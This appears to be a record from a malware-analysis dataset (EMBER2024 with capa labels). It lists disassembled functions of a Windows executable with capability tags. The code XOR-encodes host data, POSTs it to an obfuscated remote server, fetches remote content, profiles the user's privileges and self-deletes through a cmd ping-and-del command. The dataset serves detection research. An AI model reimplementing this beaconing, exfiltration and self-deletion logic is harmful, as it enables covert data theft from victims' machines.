joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018e0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
mov eax, dword [0x412008]
sub esp, 8
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x1c]
push edi
push ebx
mov ebx, ecx
push 0xfa
mov dword [esp + 0x14], eax
call fcn.00403aef
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x401a54
push 0xfa
push 0
push ebp
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push esi
push ebx
push 0x414560
push ebp
call fcn.004033f3
mov ebx, dword [esp + 0x34]
add ebx, 0x18
push ebx
call fcn.00403aef
add esp, 0x18
mov edi, eax
test edi, edi
je 0x401a45
mov dword [edi], esi
mov dword [edi + 4], ebx
mov esi, dword [0x414764]
mov dword [edi + 8], esi
mov ecx, dword [0x414768]
mov dword [edi + 0xc], ecx
mov edx, dword [esp + 0x20]
mov eax, dword [0x41476c]
mov dword [edi + 0x10], eax
mov esi, dword [0x414770]
mov eax, dword [esp + 0x10]
push edx
mov dword [edi + 0x14], esi
push eax
lea ecx, [edi + 0x18]
push ecx
call fcn.004090e0
add esp, 0xc
xor ecx, ecx
test ebx, ebx
jle 0x4019b5
lea esp, [esp]
mov al, byte [ecx + edi]
test al, al
je 0x4019b0
cmp al, 0x59
je 0x4019b0
xor al, 0x59
mov byte [ecx + edi], al
inc ecx
cmp ecx, ebx
jl 0x4019a0
mov edx, dword [str.___x9:7__9_3x59_]
mov eax, dword [0x414798]
push 0
push 0
push 3
push 0
push 0
push 0x50
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
mov dword [esp + 0x10], eax
je 0x401a45
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push ebp
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x401a49
push ebx
push edi
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x401a49
push ebp
call fcn.00403a12
push edi
call fcn.00403a12
mov ebp, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x18]
add esp, 8
push ecx
call ebp
push esi
call ebp
mov al, 1
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004033e4
add esp, 8
ret
mov esi, dword [esp + 0x10]
push ebp
call fcn.00403a12
add esp, 4
jmp 0x401a5c
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x10]
test edi, edi
je 0x401a69
push edi
call fcn.00403a12
add esp, 4
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401a7a
push eax
call ebx
test esi, esi
je 0x401a81
push esi
call ebx
mov ecx, dword [esp + 0x14]
pop ebx
pop edi
pop esi
pop ebp
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 8
ret
Function at 0x401aa0
Capabilities:
Read data from internet
Receive data

Disassembly:
add esp, 0xfffffecc
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
sub esp, 0xfffffff4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414660
push ecx
call fcn.004033f3
add esp, 0xc
mov eax, dword [0x414798]
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
or esi, esi
je 0x401b5a
mov edx, dword [0x41479c]
push ebx
lea ecx, [esp + 8]
push ecx
push 0xb00000
push edx
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
or eax, eax
setne bl
call dword [sym.imp.WININET.dll_InternetCloseHandle]
or bl, bl
pop ebx
je 0x401b5a
cmp dword [esp + 4], 0
je 0x401b5a
mov al, 1
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
xor al, al
call fcn.004033e4
sub esp, 0xfffffecc
ret

Function at 0x401b80
Capabilities:
Read data from internet
Receive data

Disassembly:
mov eax, dword [0x412008]
add esp, 0xfffffecc
xor eax, esp
mov dword [esp + 0x130], eax
push edi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
sub esp, 0xfffffff4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414460
push ecx
call fcn.004033f3
sub esp, 0xfffffff4
mov eax, dword [0x414798]
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x401bff
pop edi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffecc
ret
push esi
mov esi, dword [0x41479c]
push 0xb00000
push 0
push esi
call fcn.00406b00
sub esp, 0xfffffff4
lea ecx, [esp + 8]
push ecx
push 0xb00000
push esi
push edi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
or eax, eax
je 0x401c3c
mov eax, dword [esp + 8]
test eax, eax
jne 0x401c6d
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
test eax, eax
je 0x401c54
push eax
call fcn.00403a12
sub esp, 0xfffffffc
pop esi
xor eax, eax
pop edi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffecc
ret
push ebp
push eax
call fcn.00403aef
mov esi, dword [esp + 0x10]
mov edx, dword [0x41479c]
push esi
push edx
mov ebp, eax
push ebp
call fcn.004090e0
add esp, 0x10
mov edx, ebp
call fcn.004018c0
push edi
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401aa0
mov eax, ebp
mov ecx, dword [esp + 0x13c]
pop ebp
pop esi
pop edi
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
Function at 0x402340
Capabilities:
Get session user name

Disassembly:
mov eax, dword [0x412008]
add esp, 0xfffffe1c
xor eax, esp
mov dword [esp + 0x1dc], eax
push 0x94
lea eax, [esp + 0x18]
push 0
push eax
mov dword [esp + 0x1c], 0
call fcn.00406b00
mov ecx, dword [str.___x9:7__9_3x59_]
mov edx, dword [ecx + 0x19c]
add esp, 0xc
mov dword [esp + 0x14], edx
call fcn.00401000
mov dword [esp + 0x10], eax
call fcn.00402ab0
movzx eax, al
push 0
mov dword [esp + 0x1c], eax
call fcn.00404542
sub esp, 0xfffffffc
lea ecx, [esp + 8]
add eax, 0x7080
push ecx
mov dword [esp + 0xc], eax
adc edx, 0
mov dword [esp + 0x10], edx
call fcn.004039eb
mov ecx, dword [eax + 0x14]
mov dword [esp + 0x20], ecx
mov ecx, dword [eax + 0x10]
inc ecx
mov dword [esp + 0x24], ecx
mov ecx, dword [eax + 0xc]
mov dword [esp + 0x28], ecx
mov ecx, dword [eax + 8]
mov dword [esp + 0x2c], ecx
mov edx, dword [eax + 4]
mov dword [esp + 0x30], edx
mov eax, dword [eax]
sub esp, 0xfffffffc
mov dword [esp + 0x30], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4023f7
mov eax, 1
jmp 0x402423
call fcn.00401000
cmp eax, 4
jge 0x402408
mov eax, 3
jmp 0x402423
call fcn.004031d0
cmp eax, 1
jne 0x402419
mov eax, 2
jmp 0x402423
neg eax
sbb eax, eax
and eax, 0xfffffffd
add eax, 3
push 0x12b
lea ecx, [esp + 0xad]
push 0
push ecx
mov dword [esp + 0x40], eax
mov byte [esp + 0xb4], 0
call fcn.00406b00
add esp, 0xc
lea edx, [esp + 4]
push edx
lea eax, [esp + 0xac]
push eax
mov dword [esp + 0xc], 0x12c
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
or eax, eax
jne 0x402477
push 0x64
push eax
lea ecx, [esp + 0x40]
push ecx
call fcn.00406b00
add esp, 0xc
jmp 0x402493
lea edx, [esp + 0xa8]
push edx
mov byte [esp + 0xd4], 0
lea eax, [esp + 0x3c]
call fcn.00401780
sub esp, 0xfffffffc
mov eax, dword [0x413190]
mov edx, dword [0x413198]
mov ecx, dword [0x413194]
push 0
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], ecx
lea eax, [esp + 0x14]
push 0x98
mov ecx, 0x414774
push eax
mov dword [esp + 0xb0], edx
call fcn.004018e0
mov ecx, dword [esp + 0x1e8]
sub esp, 0xfffffff4
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffe1c
ret
Function at 0x402ab0
Capabilities:
Get common file path

Disassembly:
push ebp
mov eax, dword [0x412008]
mov ebp, esp
and esp, 0xfffffff8
add esp, 0xfffffdac
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
xor ebx, ebx
push 0x103
lea eax, [esp + 0x14d]
push ebx
push eax
mov byte [esp + 0x154], bl
call fcn.00406b00
add esp, 0xc
push 0x104
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [esp + 0x14b], bl
lea eax, [esp + 0x148]
lea esp, [esp]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402b10
mov edx, dword [str.Program_Files__x86_]
mov ecx, dword [0x4105c0]
mov dword [eax], edx
mov edx, dword [0x4105c4]
mov dword [eax + 4], ecx
mov ecx, dword [0x4105c8]
mov dword [eax + 8], edx
mov edx, dword [0x4105cc]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x402b65
test byte [esp + 8], 0x10
je 0x402b65
mov bl, 1
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, bl
mov ecx, dword [esp + 0x254]
pop ebx
xor ecx, esp
call fcn.004033e4
mov esp, ebp
pop ebp
ret
Function at 0x402e70
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push 0x41046c
push ebx
call fcn.00403c7d
add esp, 8
test eax, eax
je 0x402e94
push eax
call fcn.004044c6
add esp, 4
xor al, al
pop ebx
ret
mov eax, dword [esp + 8]
push esi
push 0x410480
push eax
call fcn.00403c7d
mov esi, eax
add esp, 8
test esi, esi
jne 0x402eb2
xor al, al
pop esi
pop ebx
ret
push edi
push ebp
push 2
push 0
push esi
call fcn.004043ca
push esi
call fcn.004042d2
push 0
push 0
mov ebp, eax
push esi
call fcn.004043ca
push ebp
call fcn.00403aef
mov edi, eax
push esi
push 1
push ebp
push edi
call fcn.00403f34
push esi
call fcn.004044c6
add esp, 0x34
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x41060c
push ebx
mov dword [edi + ebp - 8], eax
call fcn.00403c7d
mov ebx, eax
push ebx
push 1
push ebp
push edi
call fcn.004040b3
push ebx
call fcn.004044c6
mov al, 1
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4031d0
Capabilities:
Compare security identifiers

Disassembly:
add esp, 0xffffffe0
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
push edi
xor esi, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov byte [esp + 0x24], 0
mov byte [esp + 0x25], 0
mov byte [esp + 0x26], 0
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0
mov byte [esp + 0x29], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, esi
mov dword [esp + 0x14], ebx
je 0x4032f3
or edi, 0xffffffff
cmp ebx, edi
je 0x4032f3
lea eax, [esp + 0x18]
push eax
push 0xf01ff
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
or eax, eax
jne 0x40325c
mov dword [esp + 0x10], edi
jmp 0x4032fb
lea ecx, [esp + 0x1c]
push ecx
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x403285
mov dword [esp + 0x10], edi
jmp 0x4032fb
push 0x400
call fcn.00403aef
push 0x400
mov edi, eax
push esi
push edi
call fcn.00406b00
mov ecx, dword [esp + 0x28]
sub esp, 0xfffffff0
lea eax, [esp + 0x20]
push eax
push 0x400
push edi
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebp, dword [edi]
cmp ebp, esi
jle 0x4032ff
lea ebx, [edi + 4]
mov edx, dword [ebx]
mov eax, dword [esp + 0x1c]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
or eax, eax
jne 0x4032e3
inc esi
add ebx, 8
cmp esi, ebp
jl 0x4032c1
xor esi, esi
mov ebx, dword [esp + 0x14]
jmp 0x4032ff
mov ebx, dword [esp + 0x14]
xor esi, esi
mov dword [esp + 0x10], 1
jmp 0x4032ff
mov dword [esp + 0x10], 0xffffffff
mov edi, dword [esp + 0x14]
cmp edi, esi
je 0x40330c
push edi
call fcn.00403a12
add esp, 4
mov eax, dword [esp + 0x1c]
cmp eax, esi
je 0x40331b
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, esi
je 0x40332d
cmp ebx, 0xffffffff
je 0x40332d
push ebx
call edi
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x40333d
cmp eax, 0xffffffff
je 0x40333d
push eax
call edi
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004033e4
sub esp, 0xffffffe0
ret
Function at 0x403360
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
mov eax, dword [0x412008]
add esp, 0xfffffeec
xor eax, esp
mov dword [esp + 0x110], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x413a20]
push 0
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [0x413a20]
push ecx
lea edx, [esp + 4]
push str._c_ping_127.0.0.1__del__q___s_
push edx
call fcn.004033f3
sub esp, 0xfffffff4
push 0
push 0
lea eax, [esp + 8]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4033e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412008]
jne 0x4033ee
repz ret
jmp 0x404744
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xfffffcd8
mov dword [0x413b48], eax
mov dword [0x413b44], ecx
mov dword [0x413b40], edx
mov dword [0x413b3c], ebx
mov dword [0x413b38], esi
mov dword [0x413b34], edi
mov word [0x413b60], ss
mov word [0x413b54], cs
mov word [0x413b30], ds
mov word [0x413b2c], es
mov word [0x413b28], fs
mov word [0x413b24], gs
pushfd
pop dword [0x413b58]
mov eax, dword [ebp]
mov dword [0x413b4c], eax
mov eax, dword [ebp + 4]
mov dword [0x413b50], eax
lea eax, [ebp + 8]
mov dword [0x413b5c], eax
mov edi, dword [ebp - 0x320]
mov dword [0x413a98], 0x10001
mov eax, dword [0x413b50]
mov dword [0x413a4c], eax
mov dword [0x413a40], 0xc0000409
mov dword [0x413a44], 1
mov eax, dword [0x412008]
mov dword [ebp - 0x328], eax
mov eax, dword [0x41200c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x413a90], eax
push 1
call fcn.00409fa7
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x40f254
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x413a90], 0
jne 0x404836
push 1
call fcn.00409fa7
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x403c94
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
add esp, 0xfffffff0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0x10], edi
je 0x403cd3
cmp dword [ebp + 0x14], edi
je 0x403cd3
cmp ecx, edi
jne 0x403cda
call fcn.00405812
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.004057aa
sub esp, 0xffffffec
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x403cee
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x403d0f
cmp ebx, 0xffffffff
je 0x403cfe
push ebx
push edi
push ecx
call fcn.00406b00
add esp, 0xc
cmp esi, edi
je 0x403cbb
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x403cbb
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test dword [esi + 0xc], 0x10c
mov ebx, edi
mov dword [ebp - 0x10], edi
je 0x403d2c
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x403d33
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x403e25
test dword [esi + 0xc], 0x10c
je 0x403d88
mov eax, dword [esi + 4]
or eax, eax
je 0x403d88
jl 0x403e86
mov edi, ebx
cmp ebx, eax
jb 0x403d59
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x403e2d
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004086bb
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
sub esp, 0xfffffff0
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x403e1d
cmp ebx, dword [ebp - 0xc]
jb 0x403df5
cmp dword [ebp - 0xc], 0
je 0x403db2
mov ecx, 0x7fffffff
xor edx, edx
cmp ebx, ecx
jbe 0x403da7
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x403dae
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x403dbd
mov eax, 0x7fffffff
cmp ebx, eax
ja 0x403dbd
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x403e59
push eax
push dword [ebp - 8]
push esi
call fcn.00408689
pop ecx
push eax
call fcn.0040858c
sub esp, 0xfffffff4
or eax, eax
je 0x403e98
cmp eax, 0xffffffff
je 0x403e86
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x403e1d
push esi
call fcn.00407e9f
pop ecx
cmp eax, 0xffffffff
je 0x403e8a
cmp dword [ebp - 4], 0
je 0x403e59
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
dec ebx
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
or ebx, ebx
jne 0x403d3b
mov eax, dword [ebp + 0x14]
jmp 0x403cd5
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x403e44
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.00406b00
sub esp, 0xfffffff4
call fcn.00405812
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x403ccb
cmp dword [ebp + 0xc], 0xffffffff
je 0x403e6f
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00406b00
add esp, 0xc
call fcn.00405812
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x403ccb
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x403cd5
or dword [esi + 0xc], 0x10
jmp 0x403e8a
Function at 0x404744
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412008]
jne 0x4033ee
repz ret
jmp 0x404744
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xfffffcd8
mov dword [0x413b48], eax
mov dword [0x413b44], ecx
mov dword [0x413b40], edx
mov dword [0x413b3c], ebx
mov dword [0x413b38], esi
mov dword [0x413b34], edi
mov word [0x413b60], ss
mov word [0x413b54], cs
mov word [0x413b30], ds
mov word [0x413b2c], es
mov word [0x413b28], fs
mov word [0x413b24], gs
pushfd
pop dword [0x413b58]
mov eax, dword [ebp]
mov dword [0x413b4c], eax
mov eax, dword [ebp + 4]
mov dword [0x413b50], eax
lea eax, [ebp + 8]
mov dword [0x413b5c], eax
mov edi, dword [ebp - 0x320]
mov dword [0x413a98], 0x10001
mov eax, dword [0x413b50]
mov dword [0x413a4c], eax
mov dword [0x413a40], 0xc0000409
mov dword [0x413a44], 1
mov eax, dword [0x412008]
mov dword [ebp - 0x328], eax
mov eax, dword [0x41200c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x413a90], eax
push 1
call fcn.00409fa7
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x40f254
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x413a90], 0
jne 0x404836
push 1
call fcn.00409fa7
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret

Function at 0x405682
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x412008]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x324]
and dword [ebp - 0x328], 0
push ebx
push 0x4c
push 0
push eax
call fcn.00406b00
sub esp, 0xfffffff4
lea eax, [ebp - 0x328]
mov dword [ebp - 0x2d8], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
lea ecx, [ebp + 4]
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x2d0], 0x10001
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x20c], ecx
mov ecx, dword [ecx - 4]
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x328], 0xc0000417
mov dword [ebp - 0x324], 1
mov dword [ebp - 0x31c], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ebx, eax
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x40578b
or ebx, ebx
jne 0x40578b
push 2
call fcn.00409fa7
pop ecx
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
pop ebx
xor ecx, ebp
call fcn.004033e4
leave
ret
Function at 0x4057aa
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [0x413d64]
call fcn.004058d6
or eax, eax
pop ebp
je 0x4057c2
pop edi
jmp eax
push 2
call fcn.00409fa7
pop ecx
pop ebp
jmp fcn.00405682

Function at 0x405c6b
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
mov esi, esi
push edi
push esi
mov edi, str.KERNEL32.DLL
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
or eax, eax
jne 0x405c86
push edi
call fcn.00403470
pop ecx
mov esi, eax
or esi, esi
je 0x405dee
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.FlsAlloc
push esi
call edi
push str.FlsGetValue
push esi
mov dword [0x413d68], eax
call edi
push str.FlsSetValue
push esi
mov dword [0x413d6c], eax
call edi
push str.FlsFree
push esi
mov dword [0x413d70], eax
call edi
cmp dword [0x413d68], 0
mov edi, dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [0x413d74], eax
je 0x405cef
cmp dword [0x413d6c], 0
je 0x405cef
cmp dword [0x413d70], 0
je 0x405cef
or eax, eax
jne 0x405d13
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [0x413d6c], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsFree]
mov dword [0x413d68], 0x405948
mov dword [0x413d70], edi
mov dword [0x413d74], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x41218c], eax
cmp eax, 0xffffffff
je 0x405df3
push dword [0x413d6c]
push eax
call edi
test eax, eax
je 0x405df3
call fcn.0040375a
push dword [0x413d68]
call fcn.0040585b
push dword [0x413d6c]
mov dword [0x413d68], eax
call fcn.0040585b
push dword [0x413d70]
mov dword [0x413d6c], eax
call fcn.0040585b
push dword [0x413d74]
mov dword [0x413d70], eax
call fcn.0040585b
mov dword [0x413d74], eax
add esp, 0x10
call fcn.00405fdc
test eax, eax
je 0x405dee
push 0x405b3c
push dword [0x413d68]
call fcn.004058d6
pop ecx
call eax
mov dword [0x412188], eax
cmp eax, 0xffffffff
je 0x405dee
push 0x214
push 1
call fcn.0040ac47
mov esi, eax
pop edi
test esi, esi
pop ecx
je 0x405dee
push esi
push dword [0x412188]
push dword [0x413d70]
call fcn.004058d6
pop ecx
call eax
test eax, eax
je 0x405dee
push 0
push esi
call fcn.004059c2
pop edi
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x405df5
call fcn.00405985
xor eax, eax
pop esi
pop edi
ret